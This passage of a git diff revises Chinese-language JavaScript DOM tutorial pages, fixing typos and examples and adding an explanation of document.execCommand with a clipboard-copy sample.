 var elem = document.getElementById('para1');
@@ -555,7 +572,7 @@ var elem = document.getElementById('para1');
 
 注意，该方法的参数是大小写敏感的。比如，如果某个节点的`id`属性是`main`，那么`document.getElementById('Main')`将返回`null`。
 
-`document.getElementById`方法与`document.querySelector`方法都能获取元素节点，不同之处是`document.querySelector`方法的参数使用 CSS 选择器语法，`document.getElementById`方法的参数是元素的`id`属性。
+`document.getElementById()`方法与`document.querySelector()`方法都能获取元素节点，不同之处是`document.querySelector()`方法的参数使用 CSS 选择器语法，`document.getElementById()`方法的参数是元素的`id`属性。
 
 ```javascript
 document.getElementById('myElement')
@@ -568,7 +585,7 @@ document.querySelector('#myElement')
 
 ### document.elementFromPoint()，document.elementsFromPoint()
 
-`document.elementFromPoint`方法返回位于页面指定位置最上层的元素节点。
+`document.elementFromPoint()`方法返回位于页面指定位置最上层的元素节点。
 
 ```javascript
 var element = document.elementFromPoint(50, 50);
@@ -584,19 +601,6 @@ var element = document.elementFromPoint(50, 50);
 var elements = document.elementsFromPoint(x, y);
 ```
 
-### document.caretPositionFromPoint()
-
-`document.caretPositionFromPoint()`返回一个 CaretPosition 对象，包含了指定坐标点在节点对象内部的位置信息。CaretPosition 对象就是光标插入点的概念，用于确定光标点在文本对象内部的具体位置。
-
-```javascript
-var range = document.caretPositionFromPoint(clientX, clientY);
-```
-
-上面代码中，`range`是指定坐标点的 CaretPosition 对象。该对象有两个属性。
-
-- CaretPosition.offsetNode：该位置的节点对象
-- CaretPosition.offset：该位置在`offsetNode`对象内部，与起始位置相距的字符数。
-
 ### document.createElement()
 
 `document.createElement`方法用来生成元素节点，并返回该节点。
@@ -715,7 +719,7 @@ var element  = document.getElementById('ul');
 element.appendChild(docfrag);
 ```
 
-上面代码中，文档片断`docfrag`包含四个`<li>`节点，这些子节点被一次性插入了当前文档。
+上面代码中，文档片段`docfrag`包含四个`<li>`节点，这些子节点被一次性插入了当前文档。
 
 ### document.createEvent()
 
@@ -869,6 +873,85 @@ while(treeWalker.nextNode()) {
 
 上面代码遍历`<body>`节点下属的所有元素节点，将它们插入`nodeList`数组。
 
+### document.execCommand()，document.queryCommandSupported()，document.queryCommandEnabled()
+
+**（1）document.execCommand()**
+
+如果`document.designMode`属性设为`on`，那么整个文档用户可编辑；如果元素的`contenteditable`属性设为`true`，那么该元素可编辑。这两种情况下，可以使用`document.execCommand()`方法，改变内容的样式，比如`document.execCommand('bold')`会使得字体加粗。
+
+```javascript
+document.execCommand(command, showDefaultUI, input)
+```
+
+该方法接受三个参数。
+
+- `command`：字符串，表示所要实施的样式。
+- `showDefaultUI`：布尔值，表示是否要使用默认的用户界面，建议总是设为`false`。
+- `input`：字符串，表示该样式的辅助内容，比如生成超级链接时，这个参数就是所要链接的网址。如果第二个参数设为`true`，那么浏览器会弹出提示框，要求用户在提示框输入该参数。但是，不是所有浏览器都支持这样做，为了兼容性，还是需要自己部署获取这个参数的方式。
+
+```javascript
+var url = window.prompt('请输入网址');
+
+if (url) {
+  document.execCommand('createlink', false, url);
+}
+```
+
+上面代码中，先提示用户输入所要链接的网址，然后手动生成超级链接。注意，第二个参数是`false`，表示此时不需要自动弹出提示框。
+
+`document.execCommand()`的返回值是一个布尔值。如果为`false`，表示这个方法无法生效。
+
+这个方法大部分情况下，只对选中的内容生效。如果有多个内容可编辑区域，那么只对当前焦点所在的元素生效。
+
+`document.execCommand()`方法可以执行的样式改变有很多种，下面是其中的一些：bold、insertLineBreak、selectAll、createLink、insertOrderedList、subscript、delete、insertUnorderedList、superscript、formatBlock、insertParagraph、undo、forwardDelete、insertText、unlink、insertImage、italic、unselect、insertHTML、redo。这些值都可以用作第一个参数，它们的含义不难从字面上看出来。
+
+**（2）document.queryCommandSupported()**
+
+`document.queryCommandSupported()`方法返回一个布尔值，表示浏览器是否支持`document.execCommand()`的某个命令。
+
+```javascript
+if (document.queryCommandSupported('SelectAll')) {
+  console.log('浏览器支持选中可编辑区域的所有内容');
+}
+```
+
+**（3）document.queryCommandEnabled()**
+
+`document.queryCommandEnabled()`方法返回一个布尔值，表示当前是否可用`document.execCommand()`的某个命令。比如，`bold`（加粗）命令只有存在文本选中时才可用，如果没有选中文本，就不可用。
+
+```javascript
+// HTML 代码为
+// <input type="button" value="Copy" onclick="doCopy()">
+
+function doCopy(){
+  // 浏览器是否支持 copy 命令（选中内容复制到剪贴板）
+  if (document.queryCommandSupported('copy')) {
+    copyText('你好');
+  }else{
+    console.log('浏览器不支持');
+  }
+}
+
+function copyText(text) {
+  var input = document.createElement('textarea');
+  document.body.appendChild(input);
+  input.value = text;
+  input.focus();
+  input.select();
+
+  // 当前是否有选中文字
+  if (document.queryCommandEnabled('copy')) {
+    var success = document.execCommand('copy');
+    input.remove();
+    console.log('Copy Ok');
+  } else {
+    console.log('queryCommandEnabled is false');
+  }
+}
+```
+
+上面代码中，先判断浏览器是否支持`copy`命令（允许可编辑区域的选中内容，复制到剪贴板），如果支持，就新建一个临时文本框，里面写入内容“你好”，并将其选中。然后，判断是否选中成功，如果成功，就将“你好”复制到剪贴板，再删除那个临时文本框。
+
 ### document.getSelection()
 
 这个方法指向`window.getSelection()`，参见`window`对象一节的介绍。
diff --git a/docs/dom/element.md b/docs/dom/element.md
index cb9b5c8..6a73887 100644
--- a/docs/dom/element.md
+++ b/docs/dom/element.md
@@ -1,5 +1,7 @@
 # Element 节点
 
+## 简介
+
 `Element`节点对象对应网页的 HTML 元素。每一个 HTML 元素，在 DOM 树上都会转化成一个`Element`节点对象（以下简称元素节点）。
 
 元素节点的`nodeType`属性都是`1`。
@@ -10,7 +12,9 @@ p.nodeName // "P"
 p.nodeType // 1
 ```
 
-`Element`对象继承了`Node`接口，因此`Node`的属性和方法在`Element`对象都存在。此外，不同的 HTML 元素对应的元素节点是不一样的，浏览器使用不同的构造函数，生成不同的元素节点，比如`<a>`元素的节点对象由`HTMLAnchorElement`构造函数生成，`<button>`元素的节点对象由`HTMLButtonElement`构造函数生成。因此，元素节点不是一种对象，而是一组对象，这些对象除了继承`Element`的属性和方法，还有各自构造函数的属性和方法。
+`Element`对象继承了`Node`接口，因此`Node`的属性和方法在`Element`对象都存在。
+
+此外，不同的 HTML 元素对应的元素节点是不一样的，浏览器使用不同的构造函数，生成不同的元素节点，比如`<a>`元素的构造函数是`HTMLAnchorElement()`，`<button>`是`HTMLButtonElement()`。因此，元素节点不是一种对象，而是许多种对象，这些对象除了继承`Element`对象的属性和方法，还有各自独有的属性和方法。
 
 ## 实例属性
 
@@ -85,7 +89,7 @@ document.documentElement.lang // "en"
 
 **（1）Element.hidden**
 
-`Element.hidden`属性返回一个布尔值，表示当前元素的`hidden`属性，用来控制当前元素是否可见。该属性可读写。
+`Element.hidden`属性返回一个布尔值，表示当前 HTML 元素的`hidden`属性的值。该属性可读写，用来控制当前元素是否可见。
 
 ```javascript
 var btn = document.getElementById('btn');
@@ -96,9 +100,9 @@ btn.addEventListener('click', function () {
 }, false);
 ```
 
-注意，该属性与 CSS 设置是互相独立的。CSS 对这个元素可见性的设置，`Element.hidden`并不能反映出来。也就是说，这个属性并不能用来判断当前元素的实际可见性。
+注意，该属性与 CSS 设置是互相独立的。CSS 对当前元素可见性的设置，`Element.hidden`并不能反映出来。也就是说，这个属性并不能用来判断当前元素的实际可见性。
 
-CSS 的设置高于`Element.hidden`。如果 CSS 指定了该元素不可见（`display: none`）或可见（`display: hidden`），那么`Element.hidden`并不能改变该元素实际的可见性。换言之，这个属性只在 CSS 没有明确设定当前元素的可见性时才有效。
+CSS 设置的优先级高于`Element.hidden`。如果 CSS 指定了该元素不可见（`display: none`）或可见（`visibility: visible`），那么`Element.hidden`并不能改变该元素实际的可见性。换言之，这个属性只在 CSS 没有明确设定当前元素的可见性时才有效。
 
 **（2）Element.contentEditable，Element.isContentEditable**
 
@@ -226,9 +230,9 @@ if (boolValue) {
 //   ...
 // </article>
 var article = document.getElementById('foo');
-foo.dataset.columns // "3"
-foo.dataset.indexNumber // "12314"
-foo.dataset.parent // "cars"
+article.dataset.columns // "3"
+article.dataset.indexNumber // "12314"
+article.dataset.parent // "cars"
 ```
 
 注意，`dataset`上面的各个属性返回都是字符串。
@@ -347,7 +351,7 @@ document.body.clientHeight
 
 `Element.clientLeft`属性等于元素节点左边框（left border）的宽度（单位像素），不包括左侧的`padding`和`margin`。如果没有设置左边框，或者是行内元素（`display: inline`），该属性返回`0`。该属性总是返回整数值，如果是小数，会四舍五入。
 
-`Element.clientTop`属性等于网页元素顶部边框的宽度（单位像素），其他特点都与`clientTop`相同。
+`Element.clientTop`属性等于网页元素顶部边框的宽度（单位像素），其他特点都与`clientLeft`相同。
 
 ### Element.scrollHeight，Element.scrollWidth
 
@@ -367,8 +371,8 @@ document.body.scrollHeight
 
 ```javascript
 // HTML 代码如下
-// <div id="myDiv" style="height: 200px; overflow: hidden;">...<div>
-document.getElementById('myDiv').scrollHeight // 356
+// <div id="myDiv" style="height: 200px; overflow: hidden;">...</div>
+document.getElementById('myDiv').scrollHeight // 200
 ```
 
 上面代码中，即使`myDiv`元素的 CSS 高度只有200像素，且溢出部分不可见，但是`scrollHeight`仍然会返回该元素的原始高度。
@@ -599,14 +603,14 @@ for (var i = 0; i< matches.length; i++) {
 
 ### Element.getElementsByTagName()
 
-`Element.getElementsByTagName`方法返回一个`HTMLCollection`实例，成员是当前节点的所有匹配指定标签名的子元素节点。该方法与`document.getElementsByClassName`方法的用法类似，只是搜索范围不是整个文档，而是当前元素节点。
+`Element.getElementsByTagName()`方法返回一个`HTMLCollection`实例，成员是当前节点的所有匹配指定标签名的子元素节点。该方法与`document.getElementsByClassName()`方法的用法类似，只是搜索范围不是整个文档，而是当前元素节点。
 
 ```javascript
 var table = document.getElementById('forecast-table');
 var cells = table.getElementsByTagName('td');
 ```
 
-注意，该方法的参数是大小写不敏感的。
+注意，该方法的参数是大小写不敏感的，因为 HTML 标签名也是大小写不敏感。
 
 ### Element.closest()
 
diff --git a/docs/dom/general.md b/docs/dom/general.md
index 1264dd6..7e08332 100644
--- a/docs/dom/general.md
+++ b/docs/dom/general.md
@@ -17,7 +17,7 @@ DOM 的最小组成单位叫做节点（node）。文档的树形结构（DOM 
 - `Document`：整个文档树的顶层节点
 - `DocumentType`：`doctype`标签（比如`<!DOCTYPE html>`）
 - `Element`：网页的各种HTML标签（比如`<body>`、`<a>`等）
-- `Attribute`：网页元素的属性（比如`class="right"`）
+- `Attr`：网页元素的属性（比如`class="right"`）
 - `Text`：标签之间或标签包含的文本
 - `Comment`：注释
 - `DocumentFragment`：文档的片段
@@ -26,7 +26,7 @@ DOM 的最小组成单位叫做节点（node）。文档的树形结构（DOM 
 
 ## 节点树
 
-一个文档的所有节点，按照所在的层级，可以抽象成一种树状结构。这种树状结构就是 DOM 树。它有一个顶层节点，下一层都是顶层节点的子节点，然后子节点又有自己的子节点，就这样层层衍生出一个金字塔结构，倒过来就像一棵树。
+一个文档的所有节点，按照所在的层级，可以抽象成一种树状结构。这种树状结构就是 DOM 树。它有一个顶层节点，下一层都是顶层节点的子节点，然后子节点又有自己的子节点，就这样层层衍生出一个金字塔结构，又像一棵树。
 
 浏览器原生提供`document`节点，代表整个文档。
 
@@ -35,7 +35,7 @@ document
 // 整个文档树
 ```
 
-文档的第一层只有一个节点，就是 HTML 网页的第一个标签`<html>`，它构成了树结构的根节点（root node），其他 HTML 标签节点都是它的下级节点。
+文档的第一层有两个节点，第一个是文档类型节点（`<!doctype html>`），第二个是 HTML 网页的顶层容器标签`<html>`。后者构成了树结构的根节点（root node），其他 HTML 标签节点都是它的下级节点。
 
 除了根节点，其他节点都有三种层级关系。
 
@@ -44,4 +44,3 @@ document
 - 同级节点关系（sibling）：拥有同一个父节点的节点
 
 DOM 提供操作接口，用来获取这三种关系的节点。比如，子节点接口包括`firstChild`（第一个子节点）和`lastChild`（最后一个子节点）等属性，同级节点接口包括`nextSibling`（紧邻在后的那个同级节点）和`previousSibling`（紧邻在前的那个同级节点）属性。
-
diff --git a/docs/dom/mutationobserver.md b/docs/dom/mutationobserver.md
index c3ea8af..0715565 100644
--- a/docs/dom/mutationobserver.md
+++ b/docs/dom/mutationobserver.md
@@ -36,7 +36,7 @@ var observer = new MutationObserver(function (mutations, observer) {
 
 ### observe()
 
-`observe`方法用来启动监听，它接受两个参数。
+`observe()`方法用来启动监听，它接受两个参数。
 
 - 第一个参数：所要观察的 DOM 节点
 - 第二个参数：一个配置对象，指定所要观察的特定变动
@@ -44,7 +44,7 @@ var observer = new MutationObserver(function (mutations, observer) {
 ```javascript
 var article = document.querySelector('article');
 
-var  options = {
+var options = {
   'childList': true,
   'attributes':true
 } ;
@@ -52,7 +52,7 @@ var  options = {
 observer.observe(article, options);
 ```
 
-上面代码中，`observe`方法接受两个参数，第一个是所要观察的DOM元素是`article`，第二个是所要观察的变动类型（子节点变动和属性变动）。
+上面代码中，`observe()`方法接受两个参数，第一个是所要观察的DOM元素是`article`，第二个是所要观察的变动类型（子节点变动和属性变动）。
 
 观察器所能观察的 DOM 变动类型（即上面代码的`options`对象），有以下几种。
 
@@ -60,7 +60,7 @@ observer.observe(article, options);
 - **attributes**：属性的变动。
 - **characterData**：节点内容或节点文本的变动。
 
-想要观察哪一种变动类型，就在`option`对象中指定它的值为`true`。需要注意的是，必须同时指定`childList`、`attributes`和`characterData`中的一种或多种，若未均指定将报错。
+想要观察哪一种变动类型，就在`option`对象中指定它的值为`true`。需要注意的是，至少必须同时指定这三种观察的一种，若均未指定将报错。
 
 除了变动类型，`options`对象还可以设定以下属性：
 
@@ -81,7 +81,7 @@ mutationObserver.observe(document.documentElement, {
 });
 ```
 
-对一个节点添加观察器，就像使用`addEventListener`方法一样，多次添加同一个观察器是无效的，回调函数依然只会触发一次。但是，如果指定不同的`options`对象，就会被当作两个不同的观察器。
+对一个节点添加观察器，就像使用`addEventListener()`方法一样，多次添加同一个观察器是无效的，回调函数依然只会触发一次。如果指定不同的`options`对象，以后面添加的那个为准，类似覆盖。
 
 下面的例子是观察新增的子节点。
 
@@ -89,23 +89,24 @@ mutationObserver.observe(document.documentElement, {
 var insertedNodes = [];
 var observer = new MutationObserver(function(mutations) {
   mutations.forEach(function(mutation) {
-    for (var i = 0; i < mutation.addedNodes.length; i++)
+    for (var i = 0; i < mutation.addedNodes.length; i++) {
       insertedNodes.push(mutation.addedNodes[i]);
-  })
+    }
+  });
+  console.log(insertedNodes);
 });
-observer.observe(document, { childList: true });
-console.log(insertedNodes);
+observer.observe(document, { childList: true, subtree: true });
 ```
 
-### disconnect()，takeRecords（）
+### disconnect()，takeRecords()
 
-`disconnect`方法用来停止观察。调用该方法后，DOM 再发生变动，也不会触发观察器。
+`disconnect()`方法用来停止观察。调用该方法后，DOM 再发生变动，也不会触发观察器。
 
 ```javascript
 observer.disconnect();
 ```
 
-`takeRecords`方法用来清除变动记录，即不再处理未处理的变动。该方法返回变动记录的数组。
+`takeRecords()`方法用来清除变动记录，即不再处理未处理的变动。该方法返回变动记录的数组。
 
 ```javascript
 observer.takeRecords();
@@ -127,7 +128,7 @@ DOM 每次发生变化，就会生成一条变动记录（MutationRecord 实例
 
 `MutationRecord`对象包含了DOM的相关信息，有如下属性：
 
-- `type`：观察的变动类型（`attribute`、`characterData`或者`childList`）。
+- `type`：观察的变动类型（`attributes`、`characterData`或者`childList`）。
 - `target`：发生变动的DOM节点。
 - `addedNodes`：新增的DOM节点。
 - `removedNodes`：删除的DOM节点。
@@ -189,7 +190,7 @@ mo.observe(element, options);
 
 ### 取代 DOMContentLoaded 事件
 
-网页加载的时候，DOM 节点的生成会产生变动记录，因此只要观察 DOM 的变动，就能在第一时间触发相关事件，因此也就没有必要使用`DOMContentLoaded`事件。
+网页加载的时候，DOM 节点的生成会产生变动记录，因此只要观察 DOM 的变动，就能在第一时间触发相关事件，也就没有必要使用`DOMContentLoaded`事件。
 
 ```javascript
 var observer = new MutationObserver(callback);
@@ -199,7 +200,7 @@ observer.observe(document.documentElement, {
 });
 ```
 
-上面代码中，监听`document.documentElement`（即HTML节点）的子节点的变动，`subtree`属性指定监听还包括后代节点。因此，任意一个网页元素一旦生成，就能立刻被监听到。
+上面代码中，监听`document.documentElement`（即网页的`<html>`HTML 节点）的子节点的变动，`subtree`属性指定监听还包括后代节点。因此，任意一个网页元素一旦生成，就能立刻被监听到。
 
 下面的代码，使用`MutationObserver`对象封装一个监听 DOM 生成的函数。
 
@@ -253,6 +254,7 @@ observer.observe(document.documentElement, {
 
 })(this);
 
+// 使用方法
 ready('.foo', function(element){
   // ...
 });
diff --git a/docs/dom/node.md b/docs/dom/node.md
index 6ed7d65..fe5c35d 100644
--- a/docs/dom/node.md
+++ b/docs/dom/node.md
@@ -68,7 +68,7 @@ div.nodeName // "DIV"
 
 `nodeValue`属性返回一个字符串，表示当前节点本身的文本值，该属性可读写。
 
-只有文本节点（text）和注释节点（comment）有文本值，因此这两类节点的`nodeValue`可以返回结果，其他类型的节点一律返回`null`。同样的，也只有这两类节点可以设置`nodeValue`属性的值，其他类型的节点设置无效。
+只有文本节点（text）、注释节点（comment）和属性节点（attr）有文本值，因此这三类节点的`nodeValue`可以返回结果，其他类型的节点一律返回`null`。同样的，也只有这三类节点可以设置`nodeValue`属性的值，其他类型的节点设置无效。
 
 ```javascript
 // HTML 代码如下
@@ -102,7 +102,7 @@ document.getElementById('foo').textContent = '<p>GoodBye!</p>';
 
 上面代码在插入文本时，会将`<p>`标签解释为文本，而不会当作标签处理。
 
-对于文本节点（text）和注释节点（comment），`textContent`属性的值与`nodeValue`属性相同。对于其他类型的节点，该属性会将每个子节点的内容连接在一起返回，但是不包括注释节点。如果一个节点没有子节点，则返回空字符串。
+对于文本节点（text）、注释节点（comment）和属性节点（attr），`textContent`属性的值与`nodeValue`属性相同。对于其他类型的节点，该属性会将每个子节点（不包括注释节点）的内容连接在一起返回。如果一个节点没有子节点，则返回空字符串。
 
 文档节点（document）和文档类型节点（doctype）的`textContent`属性为`null`。如果要读取整个文档的内容，可以使用`document.documentElement.textContent`。
 
@@ -145,8 +145,8 @@ d === document // true
 ```javascript
 // HTML 代码如下
 // <div id="d1">hello</div><div id="d2">world</div>
-var div1 = document.getElementById('d1');
-var div2 = document.getElementById('d2');
+var d1 = document.getElementById('d1');
+var d2 = document.getElementById('d2');
 
 d1.nextSibling === d2 // true
 ```
@@ -175,8 +175,8 @@ while (el !== null) {
 ```javascript
 // HTML 代码如下
 // <div id="d1">hello</div><div id="d2">world</div>
-var div1 = document.getElementById('d1');
-var div2 = document.getElementById('d2');
+var d1 = document.getElementById('d1');
+var d2 = document.getElementById('d2');
 
 d2.previousSibling === d1 // true
 ```
@@ -295,7 +295,7 @@ test.isConnected // true
 
 ### Node.prototype.appendChild()
 
-`appendChild`方法接受一个节点对象作为参数，将其作为最后一个子节点，插入当前节点。该方法的返回值就是插入文档的子节点。
+`appendChild()`方法接受一个节点对象作为参数，将其作为最后一个子节点，插入当前节点。该方法的返回值就是插入文档的子节点。
 
 ```javascript
 var p = document.createElement('p');
@@ -304,17 +304,16 @@ document.body.appendChild(p);
 
 上面代码新建一个`<p>`节点，将其插入`document.body`的尾部。
 
-如果参数节点是 DOM 已经存在的节点，`appendChild`方法会将其从原来的位置，移动到新位置。
+如果参数节点是 DOM 已经存在的节点，`appendChild()`方法会将其从原来的位置，移动到新位置。
 
 ```javascript
-var element = document
-  .createElement('div')
-  .appendChild(document.createElement('b'));
+var div = document.getElementById('myDiv');
+document.body.appendChild(div);
 ```
 
-上面代码的返回值是`<b></b>`，而不是`<div></div>`。
+上面代码中，插入的是一个已经存在的节点`myDiv`，结果就是该节点会从原来的位置，移动到`document.body`的尾部。
 
-如果`appendChild`方法的参数是`DocumentFragment`节点，那么插入的是`DocumentFragment`的所有子节点，而不是`DocumentFragment`节点本身。返回值是一个空的`DocumentFragment`节点。
+如果`appendChild()`方法的参数是`DocumentFragment`节点，那么插入的是`DocumentFragment`的所有子节点，而不是`DocumentFragment`节点本身。返回值是一个空的`DocumentFragment`节点。
 
 ### Node.prototype.hasChildNodes()
 
@@ -475,7 +474,7 @@ nodeA.contains(nodeA) // true
 
 ### Node.prototype.compareDocumentPosition()
 
-`compareDocumentPosition`方法的用法，与`contains`方法完全一致，返回一个七个比特位的二进制值，表示参数节点与当前节点的关系。
+`compareDocumentPosition`方法的用法，与`contains`方法完全一致，返回一个六个比特位的二进制值，表示参数节点与当前节点的关系。
 
 二进制值 | 十进制值 | 含义
 ---------|------|-----
@@ -539,7 +538,7 @@ p1.isSameNode(p1) // true
 
 ### Node.prototype.normalize()
 
-`normailize`方法用于清理当前节点内部的所有文本节点（text）。它会去除空的文本节点，并且将毗邻的文本节点合并成一个，也就是说不存在空的文本节点，以及毗邻的文本节点。
+`normalize`方法用于清理当前节点内部的所有文本节点（text）。它会去除空的文本节点，并且将毗邻的文本节点合并成一个，也就是说不存在空的文本节点，以及毗邻的文本节点。
 
 ```javascript
 var wrapper = document.createElement('div');
@@ -558,7 +557,7 @@ wrapper.childNodes.length // 1
 
 ### Node.prototype.getRootNode()
 
-`getRootNode`方法返回当前节点所在文档的根节点，与`ownerDocument`属性的作用相同。
+`getRootNode()`方法返回当前节点所在文档的根节点`document`，与`ownerDocument`属性的作用相同。
 
 ```javascript
 document.body.firstChild.getRootNode() === document
@@ -567,3 +566,9 @@ document.body.firstChild.getRootNode() === document.body.firstChild.ownerDocumen
 // true
 ```
 
+该方法可用于`document`节点自身，这一点与`document.ownerDocument`不同。
+
+```javascript
+document.getRootNode() // document
+document.ownerDocument // null
+```
diff --git a/docs/dom/nodelist.md b/docs/dom/nodelist.md
index ff9fd65..bda3939 100644
--- a/docs/dom/nodelist.md
+++ b/docs/dom/nodelist.md
@@ -2,7 +2,7 @@
 
 节点都是单个对象，有时需要一种数据结构，能够容纳多个节点。DOM 提供两种节点集合，用于容纳多个节点：`NodeList`和`HTMLCollection`。
 
-这两种集合都属于接口规范。许多 DOM 属性和方法，返回的结果是`NodeList`实例或`HTMLCollection`实例。
+这两种集合都属于接口规范。许多 DOM 属性和方法，返回的结果是`NodeList`实例或`HTMLCollection`实例。主要区别是，`NodeList`可以包含各种类型的节点，`HTMLCollection`只能包含 HTML 元素节点。
 
 ## NodeList 接口
 
@@ -11,7 +11,7 @@
 `NodeList`实例是一个类似数组的对象，它的成员是节点对象。通过以下方法可以得到`NodeList`实例。
 
 - `Node.childNodes`
-- `document.querySelectorAll()`、`document.getElementsByTagName()`等节点搜索方法
+- `document.querySelectorAll()`等节点搜索方法
 
 ```javascript
 document.body.childNodes instanceof NodeList // true
@@ -63,11 +63,11 @@ children.length // 19
 `length`属性返回 NodeList 实例包含的节点数量。
 
 ```javascript
-document.getElementsByTagName('xxx').length
+document.querySelectorAll('xxx').length
 // 0
 ```
 
-上面代码中，`document.getElementsByTagName`返回一个 NodeList 集合。对于那些不存在的 HTML 标签，`length`属性返回`0`。
+上面代码中，`document.querySelectorAll`返回一个 NodeList 集合。对于那些不存在的 HTML 标签，`length`属性返回`0`。
 
 ### NodeList.prototype.forEach()
 
@@ -136,7 +136,7 @@ for (var entry of children.entries()) {
 
 `HTMLCollection`是一个节点对象的集合，只能包含元素节点（element），不能包含其他类型的节点。它的返回值是一个类似数组的对象，但是与`NodeList`接口不同，`HTMLCollection`没有`forEach`方法，只能使用`for`循环遍历。
 
-返回`HTMLCollection`实例的，主要是一些`Document`对象的集合属性，比如`document.links`、`docuement.forms`、`document.images`等。
+返回`HTMLCollection`实例的，主要是一些`Document`对象的集合属性，比如`document.links`、`document.forms`、`document.images`等。
 
 ```javascript
 document.links instanceof HTMLCollection // true
@@ -179,7 +179,7 @@ var img0 = c.item(0);
 
 ### HTMLCollection.prototype.namedItem()
 
-`namedItem`方法的参数是一个字符串，表示`id`属性或`name`属性的值，返回对应的元素节点。如果没有对应的节点，则返回`null`。
+`namedItem`方法的参数是一个字符串，表示`id`属性或`name`属性的值，返回当前集合中对应的元素节点。如果没有对应的节点，则返回`null`。
 
 ```javascript
 // HTML 代码如下
@@ -189,3 +189,5 @@ var pic = document.getElementById('pic');
 document.images.namedItem('pic') === pic // true
 ```
 
+`Collection.namedItem('value')`等同于`Collection['value']`。
+
diff --git a/docs/dom/parentnode.md b/docs/dom/parentnode.md
index e18f851..a4183a1 100644
--- a/docs/dom/parentnode.md
+++ b/docs/dom/parentnode.md
@@ -1,10 +1,10 @@
 # ParentNode 接口，ChildNode 接口
 
-节点对象除了继承 Node 接口以外，还会继承其他接口。`ParentNode`接口表示当前节点是一个父节点，提供一些处理子节点的方法。`ChildNode`接口表示当前节点是一个子节点，提供一些相关方法。
+节点对象除了继承 Node 接口以外，还拥有其他接口。`ParentNode`接口表示当前节点是一个父节点，提供一些处理子节点的方法。`ChildNode`接口表示当前节点是一个子节点，提供一些相关方法。
 
 ## ParentNode 接口
 
-如果当前节点是父节点，就会继承`ParentNode`接口。由于只有元素节点（element）、文档节点（document）和文档片段节点（documentFragment）拥有子节点，因此只有这三类节点会继承`ParentNode`接口。
+如果当前节点是父节点，就会混入了（mixin）`ParentNode`接口。由于只有元素节点（element）、文档节点（document）和文档片段节点（documentFragment）拥有子节点，因此只有这三类节点会拥有`ParentNode`接口。
 
 ### ParentNode.children
 
@@ -54,9 +54,11 @@ document.body.childElementCount // 13
 
 ### ParentNode.append()，ParentNode.prepend()
 
-`append`方法为当前节点追加一个或多个子节点，位置是最后一个元素子节点的后面。
+**（1）ParentNode.append()**
 
-该方法不仅可以添加元素子节点，还可以添加文本子节点。
+`append()`方法为当前节点追加一个或多个子节点，位置是最后一个元素子节点的后面。
+
+该方法不仅可以添加元素子节点（参数为元素节点），还可以添加文本子节点（参数为字符串）。
 
 ```javascript
 var parent = document.body;
@@ -78,17 +80,25 @@ var p = document.createElement('p');
 parent.append('Hello', p);
 ```
 
-注意，该方法没有返回值。
+该方法没有返回值。
+
+注意，该方法与`Node.prototype.appendChild()`方法有三点不同。
+
+- `append()`允许字符串作为参数，`appendChild()`只允许子节点作为参数。
+- `append()`没有返回值，而`appendChild()`返回添加的子节点。
+- `append()`可以添加多个子节点和字符串（即允许多个参数），`appendChild()`只能添加一个节点（即只允许一个参数）。
 
-`prepend`方法为当前节点追加一个或多个子节点，位置是第一个元素子节点的前面。它的用法与`append`方法完全一致，也是没有返回值。
+**（2）ParentNode.prepend()**
+
+`prepend()`方法为当前节点追加一个或多个子节点，位置是第一个元素子节点的前面。它的用法与`append()`方法完全一致，也是没有返回值。
 
 ## ChildNode 接口
 
-如果一个节点有父节点，那么该节点就继承了`ChildNode`接口。
+如果一个节点有父节点，那么该节点就拥有了`ChildNode`接口。
 
 ### ChildNode.remove()
 
-`remove`方法用于从父节点移除当前节点。
+`remove()`方法用于从父节点移除当前节点。
 
 ```javascript
 el.remove()
@@ -98,7 +108,9 @@ el.remove()
 
 ### ChildNode.before()，ChildNode.after()
 
-`before`方法用于在当前节点的前面，插入一个或多个同级节点。两者拥有相同的父节点。
+**（1）ChildNode.before()**
+
+`before()`方法用于在当前节点的前面，插入一个或多个同级节点。两者拥有相同的父节点。
 
 注意，该方法不仅可以插入元素节点，还可以插入文本节点。
 
@@ -119,11 +131,13 @@ el.before(p, p1);
 el.before(p, 'Hello');
 ```
 
-`after`方法用于在当前节点的后面，插入一个或多个同级节点，两者拥有相同的父节点。用法与`before`方法完全相同。
+**（2）ChildNode.after()**
+
+`after()`方法用于在当前节点的后面，插入一个或多个同级节点，两者拥有相同的父节点。用法与`before`方法完全相同。
 
 ### ChildNode.replaceWith()
 
-`replaceWith`方法使用参数节点，替换当前节点。参数可以是元素节点，也可以是文本节点。
+`replaceWith()`方法使用参数节点，替换当前节点。参数可以是元素节点，也可以是文本节点。
 
 ```javascript
 var span = document.createElement('span');
diff --git a/docs/dom/text.md b/docs/dom/text.md
index ca86815..c4ebc10 100644
--- a/docs/dom/text.md
+++ b/docs/dom/text.md
@@ -118,7 +118,7 @@ pElementText.insertData(7, 'Hello ');
 // 页面显示 Hello WHello
 pElementText.replaceData(7, 5, 'World');
 // 页面显示 Hello WWorld
-pElementText.substringData(7, 10); 
+pElementText.substringData(7, 10);
 // 页面显示不变，返回"World "
 ```
 
@@ -186,7 +186,7 @@ document.querySelector('ul').appendChild(docFrag);
 
 ```javascript
 document
-  .queryselector('ul')
+  .querySelector('ul')
   .appendChild(docFrag.cloneNode(true));
 ```
 
@@ -208,4 +208,3 @@ function reverse(n) {
 - `firstElementChild`：返回当前`DocumentFragment`对象的第一个子元素节点，如果没有则返回`null`。
 - `lastElementChild`：返回当前`DocumentFragment`对象的最后一个子元素节点，如果没有则返回`null`。
 - `childElementCount`：返回当前`DocumentFragment`对象的所有子元素数量。
-
diff --git a/docs/elements/a.md b/docs/elements/a.md
index 467fb74..6277fe7 100644
--- a/docs/elements/a.md
+++ b/docs/elements/a.md
@@ -22,7 +22,7 @@
 
 ```javascript
 // HTML 代码如下
-// <a id="test" href="http://user:passed@example.com:8081/index.html?bar=1#foo">test</a>
+// <a id="test" href="http://user:passwd@example.com:8081/index.html?bar=1#foo">test</a>
 var a = document.getElementById('test');
 a.hash // "#foo"
 a.host // "example.com:8081"
@@ -46,7 +46,7 @@ a.username // "user"
 ```javascript
 // HTML 代码如下
 // <a id="test" href="http://example.com">test</a>
-var a = document.getElementById('a');
+var a = document.getElementById('test');
 a.accessKey = 'k';
 ```
 
diff --git a/docs/elements/button.md b/docs/elements/button.md
index 0faf84a..339857d 100644
--- a/docs/elements/button.md
+++ b/docs/elements/button.md
@@ -97,4 +97,3 @@ for(var i = 0; i < button.labels.length; i++) {
 **（17）HTMLButtonElement.willValidate**
 
 `HTMLButtonElement.willValidate`属性是一个布尔值，表示该按钮提交表单时是否将被校验，默认为`false`。该属性只读。
-
